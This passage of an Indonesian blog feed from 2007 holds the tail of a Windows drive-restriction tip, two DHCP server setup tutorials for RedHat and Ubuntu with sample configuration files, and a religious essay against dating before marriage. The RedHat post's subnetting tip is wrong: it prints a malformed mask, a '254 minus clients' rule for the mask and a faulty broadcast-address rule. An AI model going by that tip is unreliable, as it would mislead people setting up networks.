Restrict all drives ==> membatasi semua drive
Do Not restrict all drives ==> Tidak Membatasi semua drive

Pilih salah satu option yang Anda inginkan pada menu dropdown tersebut. Setelah itu klik OK kemudian tutup Group Policy Editor. Sekarang coba Anda Klik drive yang telah Anda batasi hak aksesnya tersebut.

Sayangnya kita hanya bisa memilih drive hingga letter D saja. Sehingga apabila Anda ingin membatasi hak akses untuk drive E dan seterusnya maka Anda terpaksa harus memilih Restrict all drives. Atau bisa juga pindahkan data penting Anda ke drive C atau D. No Problem, kan!!

Sebagai contoh, penulis memilih option Restrict D drive only dan jika mengKLIK drive D tersebut maka muncul komentar seperti di bawah ini. (Drive D tidak bisa diakses kan) Coba dengan drive yang lain. (sumber : Ilmukomputer.com)

Selamat Mencoba!!!!

DHCP Config di Linux

iyanux — Fri, 27 Jul 2007 01:55:08 +0000

Manajemen IP address itu penting banget buat seorang admin jaringan. Dengan manajemen IP, seorang administrator dapat membatasi jumlah client yg terkoneksi dgn jaringannya.

DHCP server membagikan IP pada client2 yg ada dlm networknya sesuai rentang yg dikonfigurasikan. Untuk client yg harus menggunakan IP tertentu juga dapat di set di konfigurasinya.

Sekedar tips, kalo ga mau susah2 untuk membatasi IP client anda, pada subnetmask nya isikan dengan angka yg anda inginkan

IP –> 192.168.10.17 — 222.255.255.0 —-> angka nol disini memungkinkan adanya 254 user yg terkoneksi (IP 192.168.10.0 digunakan sebagai network ID jaringannya dan 192.168.10.255 sebagai broadcastnya)
Ganti segment terakhir pada subnetmask dgn angka sesuae jmlah client, rumusnya 254 dkurangi jumlah client
e.g: ada 62 client, maka 254 – 62 = 192 –> subnetmask anda 255.255.255.192

Namun cara diatas hanya untuk membatasi rentang IP saja, bukan untuk memberikan IP dinamis pada client. Untuk memberi IP pada client ya harus pake dhcp server.
Langkah² membuat DHCP server pada mesin RedHat Linux

1. Instal paket dhcpd.3.*.*.rpm ( * adl versi dhcpd nya)
2. buat file di direktori /etc dengan nama dhcpd.conf dengan teks editor yg anda sukai (saya pake vi yg dasar:))
3. Copy dan paste kan script di bawah ini :
ddns-update-style interim;
# Required for dhcp 3.0+ / Red Hat 8.0+
ignore client-updates;

subnet 192.168.1.0 netmask 255.255.255.0 { <== isikan subneting dan netmask network anda)
# Range of IP addresses to be issued to DHCP clients
range 192.168.1.128 192.168.1.254; <== IP yg akan digunakan oleh host (isikan sesuai jumlah client anda)
# Default subnet mask to be used by DHCP clients
option subnet-mask 255.255.255.0; <== isikan subnetmask network anda (sesuaikan juga dgn jmlh client)
# Default broadcastaddress to be used by DHCP clients
option broadcast-address 192.168.1.255; <== isikan broadcast network anda (broadcast adl IP maximal network anda ditambah 1)
# Default gateway to be used by DHCP clients
option routers 192.168.1.1; <=== isikan gateway server anda
option domain-name “your-domain.org”; <=== isikan domain anda (optional)
# Default DNS to be used by DHCP clients
option domain-name-servers 40.175.42.254, 40.175.42.253; <== dns server anda (optional)
option netbios-name-servers 192.168.1.100;

# (Optional. Specify if used on your network)
# DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
# option ipforwarding off;
# Amount of time in seconds that a client may keep the IP address <== waktu maximum penggunaan IP (jika melebihi maka harus request lagi)
default-lease-time 21600;
max-lease-time 43200;
# Eastern Standard Time
option time-offset -18000;
# Default NTP server to be used by DHCP clients
# option ntp-servers 192.168.1.1;
# option netbios-name-servers 192.168.1.1;
# — Selects point-to-point node (default is hybrid). Don’t change this unless you understand Netbios very well
# option netbios-node-type 2;
# We want the nameserver “ns2″ to appear at a fixed address.
# Name server with this specified MAC address will recieve this IP. <== jika ada komputer yg harus menggunakian IP tertentu isikan mac address NICnya disini dgn IP yg diinginkan

host ns2 {
next-server ns2.your-domain.com;
hardware ethernet 00:02:c3:d0:e5:83;
fixed-address 40.175.42.254;
}

# Laser printer obtains IP address via DHCP. This assures that the
# printer with this MAC address will get this IP address every time. <== untuk penggunaan printer jaringan

host laser-printer-lex1 {
hardware ethernet 08:00:2b:4c:a3:82;
fixed-address 192.168.1.120;
}
}

skrip di atas dpat anda temukan di /usr/share/doc/dhcp-3.X/dhcp.conf.sample

4. simpan dan keluarlah dari text editor anda
5. ketikkan perintah berikut pada konsole
# service dhcpd start
# /etc/rc.d/init.d/dhcpd configtest (gunakan /usr/sbin/dhcpd -f pada distro lain)
6. jika tidak ada pesan error maka anda sudah berhasil….tinggal clientnya dikonfigurasi
7. untuk melihat client yg merequest IP dan IP yg aktif lihat file /var/lib/dhcp/dhcpd.leases dengan text editor anda

selamat mencoba ya!!

Mengatur DHCP Server di Ubuntu

iyanux — Fri, 27 Jul 2007 01:49:59 +0000

DHCP atau kepanjangan dari Dynamic Host Configuration Protocol. Sebenarnya kata Dynamic sudah dapat mewakili semuanya. Jika kita yang sudah familiar di Linux Networking mungkin dapat dengan mudah memahami maksud serta tujuan di buatnya DHCP Server.

Saya sendiri pada awalnya masih menerapkan Static Address untuk pengalamatan di kantor tempat saya bekerja. Tapi dengan bertambahnya jumlah PC, dan guna meningkatkan keamanan. Akhirnya DHCP memang dapat dijadikan alternatif yang sangat baik.

Dengan adanya DHCP Admin tidak perlu mengeset satu persatu komputer user dengan alamat yang statis. Biarlah DHCP-Server yang memberikan alamat sesuai dengan range yang diberikan. Dari sisi keamanan tentu saja konfigurasi ini lebih aman, karena user tidak akan dapat merubah IP secara manual, dan jika user sengaja merubah IP maka ia tidak akan dapat berkomunikasi secara jaringan.

Tutorial berikut saya coba uraikan dari konfigurasi yang saya pakai. Adapun tingkatannya adalah untuk BASIC User seperti saya. Adapun paket-paket yang diperlukan adalah :
-Operating System : Ubuntu Breezy Badger 5.10
- DHCP Server : DHCP3

Tahap Installasi dan Konfigurasi
Jika anda sudah mempunyai Box Ubuntu maka yang perlu anda lakukan adalah cukup menginstall paket DHCP saja. DHCP yang saya gunakan adalah DCP versi 3. untuk menginstallasinya jalankan perintah berikut :

# Sudo apt-get install dhcp3-server

tunggu sampai proses selesai, kemudian rubah konfigurasi file dhcp3-server pada direktori /etc/default/ dengan menjalankan perintah :
# Sudo Vi /etc/default/dhcp3-server

Cari baris yang berisi INTERFACES=”” kemudian rubah menjadi :

INTERFACES=”eth0″ (atau tergantung Ethernet mana yang akan anda gunakan, tetapi jika hanya terdapat 1 ethernet maka secara default ketikkan eth0)

Tahapan selanjutnya adalah merubah file dhcpd.conf yang terdapat pada direktori /etc/dhcp3, dengan menjalankan perintah berikut :
# Sudo Vi /etc/dhcp3/dhcpd.conf

Cari baris perintah :
# option definitions common to all supported networks…
option domain-name “example.org”;
option domain-name-servers ns1.example.org, ns2.example.org;

default-lease-time 600;
max-lease-time 7200;

Kemudian rubah menjadi :

# option definitions common to all supported networks…
#option domain-name “example.org”;
#option domain-name-servers ns1.example.org, ns2.example.org;

#default-lease-time 600;
#max-lease-time 7200;

Kemudian cari lagi baris perintah berikut :

# A slightly different configuration for an internal subnet.
#subnet 10.5.5.0 netmask 255.255.255.224 {
# range 10.5.5.26 10.5.5.30;
# option domain-name-servers ns1.internal.example.org;
# option domain-name “internal.example.org”;
# option routers 10.5.5.1;
# option broadcast-address 10.5.5.31;
# default-lease-time 600;
# max-lease-time 7200;
#}

Dan rubah menjadi :

# A slightly different configuration for an internal subnet.
subnet 192.168.0.0 netmask 255.255.255.0 { # Subnet merupakan range IP mana yang anda gunakan, pada contoh saya menggunakan range IP Kelas C
range 192.168.0.1 192.168.0.254; # Range ini merupakan jangkauan alamat IP yang digunakan, pada contoh saya menggunakan range IP kelas C dengan jangkauan alamat 1-254)
option domain-name-servers 202.188.0.133, 202.188.1.5; #DNS yang anda gunakan, tanda koma untuk memasukkan DNS secondary
option domain-name “micokelana.com”; #Nama dari DHCP Server
option routers 192.168.0.1; # Merupakan Gateway yang kita butuhkan untuk konek ke internet
option broadcast-address 192.168.0.255; # Merupakan alamat untuk Broadcast
default-lease-time 600;
max-lease-time 7200;
}

Jika anda menginginkan setiap user mendapatkan IP yang tetap, misalnya user 1 akan tetap mendapatkan IP 192.168.0.2, maka anda harus menambahkan perintah berikut :

Cari baris :
# Fixed IP addresses can also be specified for hosts. These addresses
# should not also be listed as being available for dynamic assignment.
# Hosts for which fixed IP addresses have been specified can boot using
# BOOTP or DHCP. Hosts for which no fixed address is specified can only
# be booted with DHCP, unless there is an address range on the subnet
# to which a BOOTP client is connected which has the dynamic-bootp flag
# set.
#host fantasia {
# hardware ethernet 08:00:07:26:c0:a5;
# fixed-address fantasia.fugue.com;
#}

Kemudian anda dapat mengkonfigurasi sesuai dengan jaringan ditempat anda,saya berikan contoh berikut :

host User1{
hardware ethernet 08:00:FE:26:c0:a5; # ketikkan MAC Address User1
fixed-address 192.168.0.2; # IP address User1
}

Dengan begitu User 1 akan selalu mendapatkan IP 192.168.0.2

Jangan lupa simpan konfigurasi yang anda buat, kemudian restart Server DHCP dengan perintah :
# Sudo /etc/init.d/dhcp-server restart

Langkah berikutnya anda tinggal menyesuaikan dengan jumlah komputer dan konfigurasi pada jaringan yang anda buat. Dan untuk bereksperimen anda dapat memperhatikan setiap baris pada file dhcpd.conf, secara keseluruhan file konfigurasi tersebut sudah memberikan penjelasan STEP by STEP.

AH PACARAN …KENAPA GA’ BOLEH SIH?

iyanux — Fri, 27 Jul 2007 00:04:24 +0000

Sesungguhnya Islam itu Indah dan membawa kebahagiaan bagi yang menjalankannya dengan ikhlas mengharap keridaan Alloh Subhanahuwataala semata (mengharap wajah Alloh kelak di akhirat).

Bukankah pacaran itu indah dan membahagiakan? Mengapa Islam melarang keindahan dan kebahagiaan ?

Si Fulan melihat teman-teman di sekitarnya asyik berpacaran. Mereka selalu berdua, punya teman curhat, punya tempat untuk mencurahkan kasih sayang, diperhatikan dan dimanja oleh pujaan hati, dan serentetan “slide” lainnya yang membuat Fulan iri. Tapi karena keimanan yang Fulan miliki, di lubuk hatinya masih terdengar suara indah : ”Tidak, ini adalah aktivitas mendekati zina”. Tapi setan tidak tinggal diam, ada suara lain di hati Fulan : “Ah, jangan terlalu alim! Hidup hanya sekali! Rugi kalau nggak pacaran! Kapan lagi kamu bisa bermesraan dan merasakan kebahagiaan? Toh kamu tidak melakukan zina!”. Lain waktu setan melancarkan jurusnya yang lain : “Kalau kamu tidak pacaran, kamu baklalan ngga’ dapat jodoh!” Ach yang bener…?? “Semangat belajarmu bias meningkat!”

Dasar setan, si musuh bebuyutan yang selalu menggentayangi anak manusia untuk bermaksiat kepada Rob Azza Wa Jalla.

“Sesungguhnya setan itu adalah musuh utama bagimu, maka jadikanlah ia musuh (mu), setan itu hanya mengajak golongannya supaya mereka menjadi penghuni neraka yang menyala-nyala.” (Fatir ; 6)

Ternyata teman-teman kita masih banyak yang juga berpendapat demikian, makanya pembahasan mengenai pacaran adalah hal yang ga’ pernah basi bahkan ditunggu-tunggu untuk sekedar mengingatkan ato refreshing keimanan bagi kita yang udah tahu ilmunya.

Walaupun jika kita merasa bahwa aktivitas pacaran bukan merupakan aktivitas zina, tapi segala proses pacaran adalah tidak lepas kecuali menuju/ mendekati perbuatan keji tersebut.

Dari Abu Huroiroh Rodiallohuanhu. Rosululloh bersabda :

“Ditulis pada Ibnu Adam bagian-bagian dari zina. Zinanya mata adalah memandang, zinanya lisan adalah berbicara, zinanya kedua telinga adalah mendengar, zinanya kedua tangan adalah meraba, zinanya kaki adalah melangkah, dan jiwa yang berkeinginan adalah menyenanginya dan farji (kemaluan) yang membenarkan atau mendustakan.”

Apakah saling berpandangan dalam pacaran tidak menimbulkan syahwat? Apakah saling berbicara dan bermanja-manja tidak menimbulkan gejolak jiwa? Apakah saling bersentuhan tangan tidak membuat merinding bulu roma? Apakah berangan-angan untuk itu tidak melenakan manusia? Sudah jelas dan trgas di jelaskan dalam hadist shohih di atas, meskipun farji tidak melakukan aktivitas zina, tetap segala sesuatu yang menjurus kepada hal itu dikatakan zina. Meskipun hokum yang berlaku atasnya berbeda dan tingkat dosanya berbeda-beda. Wallahu a’lam.

Lalu mengapa kita seringkali tergiur kapada aktivitas harom ini, padahal sudah jelas-jelas keharomannya?

Jawabannya adalah pada diri kita sendiri. Apakah kita sudah mengetahui ilmunya, ataukah kita seperti orang munafik yang tau ilmu tapi tidak berusaha untuk mengamalkannya. Ataukah kita malas mencari ilmu syar’i yang bisa menunjukkan jalan keselamatan, membuka pintu hidayah Alloh Subhanahuwataala.

Firma Alloh dalam surat Al Isro’ : 32 “Dan janganlah kamu mendekati zina, sesungguhnya zina itu adalah suatu perbuatan keji dan munkar.”

Mencari ilmu syar’i adalah kewajiban bagi tiap muslim. Tidak hanya mengetahui dan mengamalkan hokum Pacaran, tapi hal-hal lainnya yang jauh lebih penting seperti ibadah, fiqh, akhlaq, adab, muamalah, dan lain-lain yang harus kita cari ilmunya untuk diamalkan dari hal-hal yang wajib, nafilah (ibadah keutamaan) hingga manghindari hal-hal yang makruh serta tidak terlena dalam hal-hal yang mubah.

Jadilah seorang pejuang Alloh yang punya misi hanya tertuju pada Alloh. Setiap hela napas kita hanya tertuju untuk beribadah kepada Alloh Subhanahuwataala. Sesungguhnya Islam itu indah dan membawa kebahagiaan bagi yang menjalankannya dengan ikhlas hanya mengharap ridho Alloh Subhanahuwataala semata, serta dengan I’tiba’ (mengikuti) sesuai dengan apa yang diajarkan Rosululloh melalui pemahaman para Sahabat Rodiallohuanhum, tabiin dan tabiut tabi’in Rohimakumulloh (Salaf As-Sholih).

Bukankah pacaran itu indah, dan membahagiakan mengapa Islam melarangnya? Syubhat klasik yang sering dilontarkan oleh para pemuja hawa nafsu. Segala sesuatu dalam benaknya tentang keindahan pacaran hanya merupakan sesuatu yang semu belaka. Begitulah setan membuat indah dunia ini dalam pandangan orang-orang yang rapuh imannya. Bukankah Alloh telah mengingatkan bahwa sesuatu yang baik menurut manusia belum tentu baik menurut Alloh? Hanya Allohlah yang Maha Tahu segala yang terbaik bagi hamba-Nya.

Solusinya?

Alloh menumbuhkan rasa cinta dalam tiap dada manusia terhadap lawan jenis yang merupakan fitroh manusia. Alloh juga menyediakan tempat penyaluran jenis cinta yang satu itu jauh lebih indah dari sekedar pacaran, yakni pernikahan. Sungguh salah satu bukti keindahan Islam.

Alloh berfirman dalam surat Ar-Ruum:21 “Dan diantara tanda-tanda kekuasaan-Nya ialah Dia menciptakan untukmu istri dari jenismu sendiri, supaya kamu cenderung dan merasa tenteram kepadanya, dan dijadikan-Nya diantaramu rasa kasih dan sayang. Sesungguhnya yang demikian itu benar-benar terdapat tanda-tanda bagi kaum yang berpikir.”

Jika Alloh melarang kita untuk mendekati zina (pacaran). Berarti Alloh sudah menyediakan suatu proses menuju pernikahan yang lebih indah, elegan dan tetap menjaga kehormatan daripada sekedar pacaran. Jadi pacaran yang benar adalah pacaran setelah pernikahan. Artinya kita boleh mencurahkan segala cinta manusiawi kita terhadap pasangan hidup hanya karena Alloh, karena mencintai Alloh serta demi memelihara kehormatan diri.

So, bagaimana proses syar’i menuju pernikahan?

1. Sholat Istikhoroh

Jika seseorang telah membulatkan tekadnya untuk menikah, maka hemdaknya ia meminta kepada-Nya agar memberi yang baik baginya, insya Alloh. Serdasarkan sabda nabi dalam hadist”apabila seorang diantara kamu berhasrat melakukan suatu perkara maka hendaknya ia mengerjakan sholat dua rokaat diluar sholat fardhu. Kemudian bacalah doa ini : “Ya Alloh, sesungguhnya aku memohon pilihan yang tepat kepadaMu, ilmuMu, aku memohon kekuatan kepadaMu, dengan keMahakuasaanMu, aku memohon karuniaMu yang besar. Sesungguhnya Engkau Maha Kuasa sementara aku tidak kuasa. Engkau Maha Mengetahui, sedang aku tidak mengetahui, dan Engkaulah yang Maha Mengetahui Perkara yang Ghoib. Yaa Alloh apabila Engkau megetahui bahwa perkara ini baik bagiku, bagi agamaku, bagi hidupku dan baik akibatnya terhadap diriku, (atau ia katakan: baik bagiku di dunia maupun akhirat), maka tetapkan dan mudahkanlah bagiku. Dan sesungguhnya jika Engkau tahu bahwa perkara ini buruk bagiku bagi agamaku, bagi hidupku dan buruk akibatnya terhadap diriku, (atau ia katakan: buruk bagiku di dunia maupun akhirat), maka jauhkanlah perkara ini bagiku dan jauhkan diriku darinya. Tetapkanlah kebaikan untukku di mana saja aku berada, kemudian jadikan diriku ridha menerimanya.” Lalu Rosul bersabda “Lalu silahkan ia sebut kepentingannnya” Hadits riwayat Bukhori.

2. Ta’arruf/ melihat calon istri/ suami

Bila seseorang ingin menikahi wanita yang diidam-idamkannya (artinya dia memang telah benar-benar tekad untuk menikah) maka ia boleh mencuri pandang melihatnya. Ia boleh melihat apa-apa yang dapat mendorongnya untuk menikah. Dalam hal ini ada beberapa hadits diantaranya;

Dari Jabir bin Abdullah ia berkata, Rosululloh bersabda:”Apabila seseorang diantara kamu ingin melamar seorang wanita, maka ia bisa melihat apa-apa yang dapat mendorongnya menikahinya maka lakukanlah”. H.R. Abu Dawud.

Laki-laki tersebut juga boleh mencari-cari berita terhadap wanita yang ingin dinikahinya, tapi hanya dalam batas informasi untuk mengantarkan kepada pernikahan. Misalnya bertanya kepada saudara laki-laki si wanita, orang tua si wanita, atau mengutus seorang wanita (mahrom dari pengutus) untuk mendekati si gadis. Begitu pula sebaliknya, seorang wanita juga boleh lebih dulu memulai proses ini.

3. Khitbah/ Melamar calon istri

Setelah itu hendaklah ia melamar wanita pilihannya itu kepada walinya (wali dari si wanita).

Bagaimana jika seseorang belum mampu untuk menikah?

1. Shoum (berpuasa)

Sabda Rosululloh:”Wahai para pemuda, siapa saja diantara kamu yang memiliki kemampuan hendaknya ia segera menukah. Karena menikah itu akan lebih menundukkan pandangan nya dan menjaga klemaluannya. Barangsiapa yang belum mampu, maka shoum merupakan salah satu peredam nafsu syahwat baginya.”

2. Ghodul bashor (Menundukkan pandangan)

“Katakanlah kepada para laki-laki yang beriman: “Hendaklah mereka menahan pandangan dan memelihara kemaluan; karena yang demikian itu lebih suci bagi mereka. Sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat. Katakanlah juga kepada para perempuan yang beriman: “Hendaklah mereka menahan pandangan dan memelihara kemaluan, dan hendaklah tidak menampakkan perhiasan mereka, kecuali yang (biasa) nampak. Dan hendaklah menutupkan kain kerudung ke dada mereka”. (An-Nur ayat 30-31).

Bukan berarti menundukkan pandangan adalah selalu menundukkan wajah hinnga kita ngga’ tahu di depan ada tembok, lalu terbentur!! Menundukkan pandangan berarti menjaga pandangan agar tidak liar atau tertuju pada hal-hal yang diharomkan, sehingga kita dapat mengendalikan hati dan membuatnya bercahaya dalam naungan iman dan taqwa.

3. Menghindari khalwat, ikhtilat dan lingkungan yang menjurus pada legalisasi pacaran.

Berduaan dengan lawan jenis tanpa mahrom (kholwat) dan bercampur-baur antara laki-laki dan perempuan ajnabi (yang bukan mahrom) sebenarnya dilarang dalam Islam. Akan tetapi kondisi dan lingkungan di negara kita saat ini banyak yang tidak memungkinkan untuk menghindarinya 100% seperti di sekolah, kampus, bis kota, dan tempat-tempat yang seharusnya dipisah antara laki-laki dan wanita. Karenanya kita harus pandai-pandai meminimalisir khalwat dan ikhtilat apabila memang kita dituntut untuk demikian demi kemaslahatan yang lebih banyak. Apalagi berkumpul dengan teman-teman pelaku pacaran, lebih baik berkumpul dengan orang-orang sholih. Karena keimanan seseorang dapat dilihat dari teman-temannya atau dengan siapa dia bergaul.

4. Mengingat-ingat kematian yang bisa saja datng kapan saja, siksa kubur, kiamta, neraka, surga, dan segala sesuatu yang dapat membuat kita cenderung kepada Alloh, takut dan berharap kepadaNya.

5. Menyibukkan diri dengan aktivitas syar’i terutama mencari ilmu syar’i

Mencari ilmu syar’I bisa melalui membaca bubu-buku atau majalah Islam syar’I dan mendatangi kajian-kajian yang benar-benar sesuai Al-Qur’an dan Sunnah dengan pemahaman As-Salaf As-Sholih.

So…tunggu apa lagi?! Mulai sekarang temukan jati diri kita, cinta haqiqi kita (Cinta Karena Alloh Subhanahuwataala)

Lalu…LUPUS (Lupakan Urusan Pacaran Untuk Selamanya)

Ma’roji:

Bekal-bekal Menuju Pelaminan Mengikuti Sunnah oleh Abu Ishaq Al Huwaini Al Atsari
Tafsir Ibnu Katsir An-Nur: 30-31
Elfata edisi 1 Vol.6/ 2006 : Jerat Maut si Penggoda
Buletin Ar-Rohman No.3/Th.11/April2003 (Remas Al-Baiturrahman SMU Negeri I Jember)